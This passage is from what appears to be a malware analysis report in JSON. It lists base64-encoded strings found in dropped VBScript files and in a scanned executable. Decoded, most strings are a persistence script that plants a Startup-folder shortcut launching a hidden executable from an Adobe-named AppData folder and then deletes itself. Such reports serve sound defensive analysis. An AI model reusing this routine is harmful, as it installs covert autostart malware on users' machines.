File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMjY4NTY1Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2788310.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzAzMTE2NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3330015.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzIzMjYyNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5382966.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM2NzE0Ny5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2144209.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzM4NjAwNy5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup124481.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MTUwNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3019309.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzQ5MzE1OS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup276877.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzU1OTI3Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7944398.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzYyNzA0MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2879488.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLMzgzMzY5NC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7036682.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDM5NzY0Ni5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2031697.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU1NTM0LmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9321933.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDU5NDk2NS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9936131.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDczMjk4OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6687259.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNDkzMDMwNi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4601692.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTE5OTgzLmxuayIp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7732691.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNTMzOTIyMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7597624.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjQyMzgyMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6544173.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU0ODE3OS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7419274.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDAwMC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup562985.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjU2MDgzMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup196366.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjg5MDM2OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1446647.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNjk5MDQ4Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup6752483.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLNzU5OTAxMS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup9069048.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3MTg3My5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup4770668.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM3NTE5Mi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295000.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODM4NTM1OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7171143.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODQ0OTgwOC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup5581901.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODY0NTA2MS5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2431673.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODcyNzU0OC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODkxMjYzNC5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KCIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLODk4MDQwMi5sbmsiKQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IGxuayA9IG9ialNoZWxsLkNyZWF0ZVNob3J0Y3V0KFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9iakZTTyA9IENyZWF0ZU9iamVjdChcIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0XCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDQ4OTI0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1990457.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMDU1NzcxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1352268.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMjIzMDExLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7434561.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxMzAwOTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8245793.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNDUyMDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1581107.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNTY2MDMzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1095315.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxNzIyMDkzLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8192529.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxODQ2NDIubG5rIilsbmsuVGFyZ2V0UGF0aCA9ICJjbWQuZXhlImxuay5Bcmd1bWVudHMgPSAiL2sgc3RhcnQgIiIiIiAiIkM6XFVzZXJzXCVVU0VSTkFNRSVcQXBwRGF0YVxSb2FtaW5nXEFkb2JlXDNNUllLXCBcbXNjci5leGUiIiZleGl0JiIiImxuay5XaW5kb3dTdHlsZSA9ICI3Imxuay5TYXZlb2JqRlNPLkRlbGV0ZUZpbGUoV3NjcmlwdC5TY3JpcHRGdWxsTmFtZSk=","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3077130.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTI2NjgxLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup1295063.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsxOTk2NTE0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7284813.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyMjgyNTQ2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup3197659.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNTI3MTA5LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup8790147.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUsyNjg1NjU2LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped 